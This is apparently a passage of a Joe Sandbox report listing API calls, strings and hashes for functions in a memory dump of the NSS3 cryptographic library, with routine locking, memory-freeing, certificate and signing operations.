SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFB182

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CFFB177

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CFDAB95,00000000,?,00000000,00000000,00000000), ref: 6CFFB1C2

Part of subcall function 6D021560: TlsGetValue.KERNEL32(00000000,?,6CFF0844,?), ref: 6D02157A
Part of subcall function 6D021560: EnterCriticalSection.KERNEL32(?,?,?,6CFF0844,?), ref: 6D02158F
Part of subcall function 6D021560: PR_Unlock.NSS3(?,?,?,?,6CFF0844,?), ref: 6D0215B2

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 600b502cbad7316a70e0af077c445fd1334c287bb1da17084a15d930a6c14b3a
Instruction ID: 34181dbbfbbaf94da3a4f67396afbd4745766fe728f89b9ac90a7750af5d4623
Opcode Fuzzy Hash: 600b502cbad7316a70e0af077c445fd1334c287bb1da17084a15d930a6c14b3a
Instruction Fuzzy Hash: B7A1F4B5D00205ABEF009F64EC81BEE7BB5FF48308F154524E915AB261E731E996CBE1

Function 6D04AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D04ADB1

Part of subcall function 6D02BE30: SECOID_FindOID_Util.NSS3(6CFE311B,00000000,?,6CFE311B,?), ref: 6D02BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6D04ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6D04AE08

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D04AE25
PL_FreeArenaPool.NSS3 ref: 6D04AE63
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6D04AE4D

Part of subcall function 6CF54C70: TlsGetValue.KERNEL32(?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54C97
Part of subcall function 6CF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CB0
Part of subcall function 6CF54C70: PR_Unlock.NSS3(?,?,?,?,?,6CF53921,6D1314E4,6D09CC70), ref: 6CF54CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D04AE93
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6D04AECC
PL_FreeArenaPool.NSS3 ref: 6D04AEDE
PL_FinishArenaPool.NSS3 ref: 6D04AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D04AEF5
PL_FinishArenaPool.NSS3 ref: 6D04AF16

Strings

security, xrefs: 6D04ADEE

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 1c6bb5710af295557d1d0b5490caedaeed02dd03c88dd21c3d1a896768d82595
Instruction ID: f269909b716ac0069444e66f009efeecf3455e0b0e36ab6cbca869f458e703b6
Opcode Fuzzy Hash: 1c6bb5710af295557d1d0b5490caedaeed02dd03c88dd21c3d1a896768d82595
Instruction Fuzzy Hash: 80413AB1C08211E7FB219B259C44F7F32E4AF4231CF618535EA2497246FB35A614C6D3

Function 6D0EAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D099890: TlsGetValue.KERNEL32(?,?,?,6D0997EB), ref: 6D09989E

EnterCriticalSection.KERNEL32(?), ref: 6D0EAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6D0EAFCE
PR_SetPollableEvent.NSS3(?), ref: 6D0EAFD9
EnterCriticalSection.KERNEL32(?), ref: 6D0EAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6D0EB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6D0EB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6D0EB070
PR_JoinThread.NSS3(?), ref: 6D0EB07B
free.MOZGLUE(?), ref: 6D0EB084
EnterCriticalSection.KERNEL32(?), ref: 6D0EB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6D0EB0C4
PR_JoinThread.NSS3(?), ref: 6D0EB0F3
free.MOZGLUE(?), ref: 6D0EB0FC
PR_JoinThread.NSS3(?), ref: 6D0EB137
free.MOZGLUE(?), ref: 6D0EB140

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 94228d223b7feeb8c79c251a014d366e5424e9d7135dff8d253d8105140bdf97
Instruction ID: adcb978ae29a303f24a98bf344c41a60ec1bcb0a1cf99591ddeca164da688a2e
Opcode Fuzzy Hash: 94228d223b7feeb8c79c251a014d366e5424e9d7135dff8d253d8105140bdf97
Instruction Fuzzy Hash: B4916BB6904602DFDB00CF14D880A5ABBF1FF4935872685A9D91A9B722E732FC45CB81

Function 6D065CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6D062BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6D062A28,00000060,00000001), ref: 6D062BF0
Part of subcall function 6D062BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6D062A28,00000060,00000001), ref: 6D062C07
Part of subcall function 6D062BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6D062A28,00000060,00000001), ref: 6D062C1E
Part of subcall function 6D062BE0: free.MOZGLUE(?,00000000,00000000,?,6D062A28,00000060,00000001), ref: 6D062C4A

free.MOZGLUE(?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D0F
free.MOZGLUE(?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D4E
free.MOZGLUE(?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D62
free.MOZGLUE(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D85
free.MOZGLUE(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065D99
free.MOZGLUE(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D065E3E
free.MOZGLUE(?,?,?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D065E47
free.MOZGLUE(?,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0680C1), ref: 6D065E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6D06AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D065E78
free.MOZGLUE(?,?,?,?,?,?,?,6D06AAD4), ref: 6D065EB9
free.MOZGLUE(?,?,?,?,?,?,?,6D06AAD4), ref: 6D065EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D065F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D065F4B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 03b05a40920b6de4d324423d74d2be891398bcc5df6edeeabc5e21b1e2fdf25f
Instruction ID: 3b7e186e17aeeff8ab9b24e30393fce77f689d4e768fea05756f9f8a37ffe5c4
Opcode Fuzzy Hash: 03b05a40920b6de4d324423d74d2be891398bcc5df6edeeabc5e21b1e2fdf25f
Instruction Fuzzy Hash: AB7150B9900B419FE710CF24D889BA277F5BF89308F148529E95E87312E732F955CBA1

Function 6CFE8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CFE8E22
EnterCriticalSection.KERNEL32(?), ref: 6CFE8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CFE8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CFE8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CFE8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CFE8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CFE8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8F00
free.MOZGLUE(?), ref: 6CFE8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CFE8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CFE8F5B
PR_Unlock.NSS3(?), ref: 6CFE8F72
PR_Unlock.NSS3(?), ref: 6CFE8F82

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: d0fbc17a6417b2c60e3904ef7ec610b88af0f17e7e496f846f5b88a2da52999a
Instruction ID: 2e8fd2d7347f98afc4331c9846c422c63a7629f71828e6e592aaf5b375fb35be
Opcode Fuzzy Hash: d0fbc17a6417b2c60e3904ef7ec610b88af0f17e7e496f846f5b88a2da52999a
Instruction Fuzzy Hash: 3751F6B2D00215AFE710AF6CDC84AABB7B9EF49358F15412AED189B700E731ED4187E1

Function 6D0E0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6D0E1000

Part of subcall function 6D099BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFC1A48), ref: 6D099BB3
Part of subcall function 6D099BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFC1A48), ref: 6D099BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6D0E1016

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_Unlock.NSS3(?), ref: 6D0E1021

Part of subcall function 6D07DD70: TlsGetValue.KERNEL32 ref: 6D07DD8C
Part of subcall function 6D07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6D0E1046
PR_Unlock.NSS3(?), ref: 6D0E106B
PR_Lock.NSS3 ref: 6D0E1079
PR_Unlock.NSS3 ref: 6D0E1096
free.MOZGLUE(?), ref: 6D0E10A7
free.MOZGLUE(?), ref: 6D0E10B4
PR_DestroyCondVar.NSS3(?), ref: 6D0E10BF
PR_DestroyCondVar.NSS3(?), ref: 6D0E10CA
PR_DestroyCondVar.NSS3(?), ref: 6D0E10D5
PR_DestroyCondVar.NSS3(?), ref: 6D0E10E0
PR_DestroyLock.NSS3(?), ref: 6D0E10EB
free.MOZGLUE(?), ref: 6D0E1105

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 17e1be605f052973ce380389d09b06eb2227add8ebab904c01289a6720eb4446
Instruction ID: 4841941b8471c5e080bb229b8a6923964eeb27c7da061372a46e3ca8b2b90605
Opcode Fuzzy Hash: 17e1be605f052973ce380389d09b06eb2227add8ebab904c01289a6720eb4446
Instruction Fuzzy Hash: BF315AB9904402AFE7119F14EC42B5AB7B2BF41358B094120E90917A61E7B2F9B4DBD2

Function 6CFF5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFF5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CFF5EE3
PR_Unlock.NSS3(?), ref: 6CFF5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CFF5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CFF61F4

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 37348fad6a9d6aa24b69df0db353c02f9788b2b602b89ac50bfc46110dd0a935
Instruction ID: b012b2f33ccbd6c275474c4dfd1657c4d2f3a8ffc69059c0b7f378306d8f4397
Opcode Fuzzy Hash: 37348fad6a9d6aa24b69df0db353c02f9788b2b602b89ac50bfc46110dd0a935
Instruction Fuzzy Hash: 95F106B5A002158FEB54CF18C884B86BBF4FF09304F1582AAED189B356D7B4DA95CF91

Function 6CF5DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CF5DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CF5DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF5DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CF5DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF5DECD

Strings

database corruption, xrefs: 6CF5DF77, 6CF5DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5DF6D, 6CF5DFCC, 6CF5DFDD
%s at line %d of [%.10s], xrefs: 6CF5DF7C, 6CF5DFEC

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 991556dfb842b6c7cfa1314c281384bb94653d081b5f28c8a3e45e9fc1541c4d
Instruction ID: 92dba6a43b612e3b33429c72b316dc6114c70404b3355ecf51547952c0c2e3af
Opcode Fuzzy Hash: 991556dfb842b6c7cfa1314c281384bb94653d081b5f28c8a3e45e9fc1541c4d
Instruction Fuzzy Hash: 3FA102716093019FC710CF29C980B6BB7F5AFA5308F45892DFA898BB41E731E865CB91

Function 6D01EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6D01EE0B

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D01EEE1

Part of subcall function 6D011D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6D011D7E
Part of subcall function 6D011D50: EnterCriticalSection.KERNEL32(?), ref: 6D011D8E
Part of subcall function 6D011D50: PR_Unlock.NSS3(?), ref: 6D011DD3

TlsGetValue.KERNEL32 ref: 6D01EE51
EnterCriticalSection.KERNEL32(?), ref: 6D01EE65
PR_Unlock.NSS3(?), ref: 6D01EEA2
free.MOZGLUE(?), ref: 6D01EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6D01EED0
PR_Unlock.NSS3(?), ref: 6D01EF48
free.MOZGLUE(?), ref: 6D01EF68
PR_SetError.NSS3(00000000,00000000), ref: 6D01EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6D01EFA4
free.MOZGLUE(?), ref: 6D01EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D01F055
free.MOZGLUE(?), ref: 6D01F060

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: d0892c1a8ff69c8dfde742f74a7a5f0ace661cb4552e11829a116e23e96d5775
Instruction ID: c36cfe58083f647e87b86ef79bc60fa862f4676390f04e61b0f40467645ddad8
Opcode Fuzzy Hash: d0892c1a8ff69c8dfde742f74a7a5f0ace661cb4552e11829a116e23e96d5775
Instruction Fuzzy Hash: A5817175A04209ABEF01DFA5DC85BEE7BF5BF08314F054028EE09A7611E771E964CBA1

Function 6CFE4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CFE4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CFE4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CFE4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CFE4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CFE4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CFE4E85
DER_Encode_Util.NSS3(?,?,6D1305A4,00000000), ref: 6CFE4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CFE4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CFE4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFE4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFE4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFE4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFE4FC8

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 58f2fefebb952658a9c1148a4d49cd5dd229aa4b1f2682b9eecdedecd677234f
Instruction ID: 440c267c0e2389082f2c885a3bab46592784f7a4b2c0aebc4fde9e351c5a7bf4
Opcode Fuzzy Hash: 58f2fefebb952658a9c1148a4d49cd5dd229aa4b1f2682b9eecdedecd677234f
Instruction Fuzzy Hash: 7981B272908301AFE711CFA5DC40B5BBBE8AF88758F15852DF958DB641E731E904CB92

Function 6D025C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6D025C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6D025CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6D025CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6D025D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6D025D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D025D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6D025E18
TlsGetValue.KERNEL32 ref: 6D025E5E
EnterCriticalSection.KERNEL32(?), ref: 6D025E72
PR_Unlock.NSS3(?), ref: 6D025E8B

Part of subcall function 6D01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D01F854
Part of subcall function 6D01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D01F868
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D01F882
Part of subcall function 6D01F820: free.MOZGLUE(04C483FF,?,?), ref: 6D01F889
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D01F8A4
Part of subcall function 6D01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D01F8AB
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D01F8C9
Part of subcall function 6D01F820: free.MOZGLUE(280F10EC,?,?), ref: 6D01F8D0

Strings

d, xrefs: 6D025C36
tokens=[0x%x=<%s>], xrefs: 6D025D3D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
